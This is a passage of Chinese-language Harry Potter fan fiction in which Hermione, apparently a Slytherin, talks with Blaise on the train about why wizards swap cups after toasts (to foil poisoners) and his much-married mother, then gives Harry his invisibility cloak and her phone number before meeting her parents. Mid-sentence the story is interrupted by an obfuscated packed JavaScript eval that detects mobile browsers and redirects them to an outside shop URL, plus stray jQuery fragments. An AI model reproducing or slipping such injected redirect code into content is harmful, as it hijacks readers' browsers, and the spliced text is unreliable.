早餐后收拾行李的过程十分嘈杂，女孩们四处翻找着自己的东西，房间里不时传来“我把它放哪儿了？”“有人看见我的梳子了吗？”的喊声。
赫敏的东西大部分都收纳得很好，所以整理起来并不难——只需要把她拿出来用过的东西重新放回去就行了。
“你一直没说过这两个东西是什么。”特蕾西说，此时赫敏正站在床上，小心翼翼地取下她挂在那的石冠。
“它们是王冠。”赫敏说，特蕾西笑了起来。
“好吧，但你从哪里弄来的这些东西？”
赫敏咧嘴一笑：“我从石头国王那儿拿的。”
收拾行李没花多少时间，真正耗时的，是赫敏得琢磨着怎么才能把她多出来的第二个箱子也带到站台上。其他人都只有一个箱子，而赫敏之前一年也确实只有一个箱子……
最后，她给第二个箱子加了一把麻瓜锁，又贴了一张行李牌，上面清楚地写着“赫敏的书——赫敏·格兰杰的物品”，然后把它放在她平时用的、贴着“赫敏·格兰杰”标签的普通箱子旁边。
有时候，藏在明处反而是更好的选择，赫敏一边整理床铺，一边咬着嘴唇想。她总不能指望自己能把这么重的箱子偷偷带上火车而不被发现吧。
学生们离开城堡时都收到了一张通知，警告他们在暑假期间不得使用魔法，这让赫敏暗自露出了一个得意的笑容。他们被领到船上，然后海格驾驶着船渡过湖面，最后登上了霍格沃茨特快列车。学生们一边说说笑笑着一边挤进车厢。
赫敏用轻微的漂浮咒帮忙减轻重量，顺利把箱子搬进了车厢。周围一片混乱，没人会知道有人在施咒，就算知道，他们大概也会睁一只眼闭一只眼。
赫敏和特蕾西、米莉、布雷斯一起坐进了一个车厢。他们玩了一会儿爆炸牌，然后特蕾西和米莉就去找达芙妮了。布雷斯安静地翻着一本书，赫敏则望着车窗外掠过的风景，陷入了沉思。
“你在想什么？”
赫敏抬起头，布雷斯正看着她。他挑了挑眉，赫敏笑了。
“我在——”她开口道，“嗯——”
“我看得出来你在绞尽脑汁地编谎话，”布雷斯揶揄道，“别这样，赫敏。告诉我实话吧。”
他的眼神坦诚而真挚，赫敏抿着嘴唇，心里一阵悸动。袒露自己的想法就等于暴露弱点，即使是面对朋友，要袒露心声也十分困难，尤其是在另一个斯莱特林面前。但是，布雷斯的眼神毫无伪饰，赫敏叹了口气。
“我是在琢磨今天早上祝酒到底是怎么回事。”赫敏承认道。
布雷斯疑惑地看着她。
“大家都在为你庆祝，”他告诉她，“我们都为你感到骄傲。我以为你会高兴的。”
“我是高兴的，”赫敏连忙说道，“我很高兴，我是在想，这件事——这件事确实意义非凡——但在祝酒之后，大家都开始交换杯子——”
布雷斯脸上露出了恍然大悟的表情。
“所以麻瓜们不交换杯子。”他猜测道。
“他们不会，”赫敏点头，“他们只是在祝酒之后、喝酒之前，把自己的杯子和别人的轻轻碰一下。我从没见过有人交换杯子喝酒。”
“我怀疑麻瓜们也没有什么必要交换杯子，”布雷斯说着，露出了一抹嘲讽的苦笑，“除非麻瓜世界的毒药也像魔法世界一样常见。”
“哦！”赫敏捂住嘴，眼睛睁得大大的，“所以，交换杯子是为了——”
“如果你打算给某人下毒，还有什么办法比祝酒更能确保他喝下毒药呢？”布雷斯问道，“即使你知道自己杯子里有毒，你也会因为社交压力而被迫自杀。你不能拒绝祝酒。所以大家就开始互相交换酒杯。”
“这样人们就不能互相针对投毒，因为伤害是随机的？”赫敏猜测道。
“哦，别误会，人们还是会互相下毒的，”布雷斯说着，嘴角露出一丝嘲讽的笑意，“但现在更多是在私人晚宴或秘密场合。大型公共场合已经不会再发生投毒事件了——因为祝酒时交换杯子这个习俗导致的危险性太大了。”
“真的有那么多人因此丧命，以至于这成了一种社会习俗吗？”赫敏惊讶地问道。
“如果你可以私下战胜敌人，或者以盛大、戏剧化和公开的方式战胜敌人，你会选择哪一种？”布雷斯反问道。赫敏的思绪瞬间回到了草药课上：潘西眼里含泪，在众目睽睽之下伤口流出黑色的血，以及当关于她血统的谣言被传开时，潘西眼中充满的恐惧。
“选在公共场合。”赫敏不情愿地说，布雷斯冲她咧嘴一笑。
“看到了吧？”他说，“我们都一样。所以为了防止下毒，巫师们开始交换杯子。不过，这已经是几个世纪前的事了。我敢打赌现在没多少人知道这个传统的由来了。”
“但你知道？”赫敏问。
布雷斯停顿了许久，他审视地打量着她。
“是啊，”他最后说道，“我妈妈教我的。”
赫敏困惑地看着他。布雷斯叹了口气，望向窗外。
“我对你母亲的了解仅限于知道她美得出名，”赫敏试探性地说道，“达芙妮说她是‘优雅的化身’和‘美貌的巅峰’。特蕾西说她很爱调情。”
布雷斯忍不住轻笑出声。
“这么说倒也不算错。”他说。他饶有兴味地看了赫敏一眼，然后收敛了笑容。
“我妈妈，”他说，“她有七个丈夫。”
“七个？”赫敏瞪大了眼睛，“那——”
她的思绪忽然赶了上来，提醒她谈话的上下文，赫敏止住话头，打量地看了布雷斯一眼。
“我本来想说‘我不知道魔法世界允许一妻多夫’，然后才反应过来。”她面无表情地说，布雷斯憋了一下，还是忍不住笑了出来。赫敏看着他笑，等着他的目光再次与自己相遇。
“麻瓜世界也有这种事。”她说，语气平静、不带任何评判，“他们甚至有个专门的词来形容——黑寡妇。就像那种蜘蛛一样。”
布雷斯看起来很惊讶，接着若有所思。
“黑寡妇……？”他想了想，然后哼了一声，“那……倒其实挺贴切的。”
赫敏只是看着他，布雷斯再次与她对视。
“关于我母亲有很多传言，”布雷斯最后说道，“说她被诅咒了，说她对她的丈夫们做了什么，说有其他情人安排了‘意外’来除掉对手……”
而布雷斯刚刚提到，他母亲教过他一个古老习俗的鲜为人知的历史，而这个习俗的历史渊源正是下毒。
“我明白了。”赫敏说。她伸手握住他的手，抬头看着他：“谢谢你愿意信任我，告诉我这些。”
布雷斯先是露出惊讶的表情，但随即眼神柔和了下来。
“我确实信任你，”他嘴角微微翘起，“我不太确定那是从什么时候开始的，但我确实信任你。”
赫敏回以微笑。
“那不是坏事，”她打趣道，“你总得信任某个人嘛。”
“你快收回这句话，”布雷斯立刻说道，“我才不需要。我可不是什么软弱的赫奇帕奇。”
赫敏笑了起来，然后挺直身子，试图摆出一副自命不凡的样子。
“每个人都需要至少一个可以倾诉的对象，”赫敏抬起下巴对他说，“你应该听我的——我显然最懂这些，我可是全年级第一。”
两人都板着傲慢的神情互相对视了好一会儿，然后齐齐大笑了起来。
“我还是很高兴我拿了第一，”赫敏在笑声渐渐平息后说道，“当时我还没意识到，但现在我真的感觉我向所有人证明了自己，他们当时都那么惊讶……”
“我早知道你会是年级第一，赫敏。”布雷斯告诉她，“我一秒钟都没怀疑过。你是我们年级最厉害的女巫。”
他语气中的友善和真诚让赫敏心里一暖。布雷斯看着她，眼神柔和下来，接着又闪过一丝顽皮的光芒。
“你也是我们年级里最漂亮的女生，”他继续说道，眼里带着逗弄，“绝对的，这个第一你也拿定了。”
赫敏嗤笑一声。
“你早该见好就收的。”她说着，朝他扔了个靠垫，“我只要‘最聪明’就够了——拉文德·布朗可以当最漂亮的。我们只要看谁以后成就最高就行了。”
“拉文德·布朗只是爱打扮而已，”布雷斯不屑地说道，把靠垫扔了回去，“你才是那个笑容能让男人下跪、眼神有着仙女魔法的人。”
“闭嘴吧！”赫敏笑骂，“你真是荒谬。”
布雷斯听话地住了口，但他的眼睛依然闪烁着光芒，这让赫敏忍不住冷笑着翻了个白眼。他目光挑逗地在她身上游移，显然是想在不开口的情况下继续调情，但赫敏只是保持微笑。尽管布雷斯有些荒唐，但他确实是个好朋友。
一位好朋友……
赫敏突然站了起来。
“你要出去？”布雷斯问。
赫敏点点头：“我忘了件事，得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569802|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去处理一下。”
找到哈利·波特的车厢并不难：她循着那些窃窃私语和驻足往里张望的学生们就找到了方向，哈利和奇洛的冒险经历仍然是人们津津乐道的话题。她简单敲了敲门，然后走了进去。
哈利、纳威和罗恩都在车厢里。罗恩四仰八叉地躺在一个座位上，脸上盖着一本杂志打着呼噜；哈利和纳威则坐在另一边，正忙着拆巧克力蛙。听到开门的动静，他们先是一愣，但看到是她之后，两人都放松了下来。
“我本来想问能不能坐，”赫敏揶揄道，“但你们好像已经没有座位了。”
纳威脸红了，哈利咧嘴一笑。赫敏歪了歪头。
“哈利，你能到过道来一趟吗？”她问，“我有东西要给你。”
哈利好奇地看了纳威一眼，纳威耸了耸肩点点头，他便站起来走到她身边。
到了过道，赫敏仔细地左右检查了一下周围没有人，然后才从长袍里拿出哈利的隐形衣。哈利瞪大了眼睛。
“我还在想它去哪儿了！”他说，“我担心它丢在四楼走廊里了。”
赫敏笑了：“我不会让那种事发生的。”她向他保证，“给。”
她帮他把隐形衣塞进他的长袍里，以防有人经过。这让哈利看起来有点像怀孕了，或者异常变胖，但这已经是她能做到的最好程度了，别人总不能强行搜查哈利。
“我还有另一个东西要给你。”她说着，递给他一张纸条。哈利接过纸条，扫了一眼。
“这是……你的电话号码？”他问道，“还有你家的地址？”
赫敏对他露出一个温柔的微笑。
“我记得你说过你的亲戚们有多么可恶，”她说，“如果你想过来玩，或者只是想找个了解情况的人聊聊天……嗯，现在你知道怎么找到我了。”
哈利朝她咧嘴一笑，然后开始翻自己的口袋。
“等等——给你。”他匆匆把自己的号码潦草地写在一小张羊皮纸上，递给她，“德思礼家大概不会让我用电话，但如果有人打来找我，他们也许会让我接。”他顿了顿，“我也可以把号码给罗恩和纳威，但他们可能不会用电话。”
“我建议你别这么做，”她认真地对他说，“还是用猫头鹰跟他们联系吧，那样他们不容易惹你亲戚生气。”
哈利点点头，然后给了她一个大大的拥抱，把她抱了起来，双脚离地。
“哈利——！”
她笑着打了哈利一下，哈利才把她放了下来。他咧嘴笑着，绿色的眼睛闪闪发光。
“我一直还没来得及谢谢你，赫敏。”他告诉她，表情变得严肃起来，“在四楼走廊里，你救了我的命，你救了我们所有人，谢谢你。”
他的目光如此真诚，如此坦率，让赫敏感到有些不自在。
“那没什么，哈利。”她坦诚地告诉他，“你是我最好的朋友之一。我不能让你出事。”
哈利对她笑了笑，赫敏也回以笑容，然后又拥抱了他一下。
“万一我在站台上没遇到纳威的话，替我向他道别，”赫敏对哈利说，“我觉得他很难穿过那些糖果但不把它们碰得满地都是。”
哈利笑着点了点头，祝她暑假愉快，然后回到了自己的车厢里。赫敏面带微笑，觉得事情完成得不错，然后沿着过道走回车厢。
剩下的旅程过得有些模糊，不知不觉中，列车就已经驶入了国王十字车站。列车员让他们两三人一组地通过站台，以防惊扰麻瓜。赫敏一走出站台，就迫不及待地在人群中搜寻着。
“赫敏！”
赫敏转过身，看到她的父母正在挥手，穿过人群向她走来。她的眼眶瞬间湿润了，扑向父母的怀抱。
“我太想你们了，”赫敏哽咽着说，紧紧地抱住他们，“你们根本不知道。”
“哦，我想我们多少能知道一些，”母亲柔声说道，轻抚着她的背，“大概和因为我们想念你的程度差不多吧。”
“考试怎么样？”父亲一边把她的行李箱搬到手推车上一边问，“考得好吗？”
“全年级第一。”赫敏宣布道，她的父母脸上露出了灿烂的笑容。
“这就是我的小宝贝！”父亲笑着拍了拍她的背，“不管你上什么学校，你总是最棒的。”
“准备好走了吗，亲爱的？”妈妈问道，赫敏点了点头。
“我有好多话要跟你们说，”她告诉他们，“等你们听完学校里发生的一切……”
———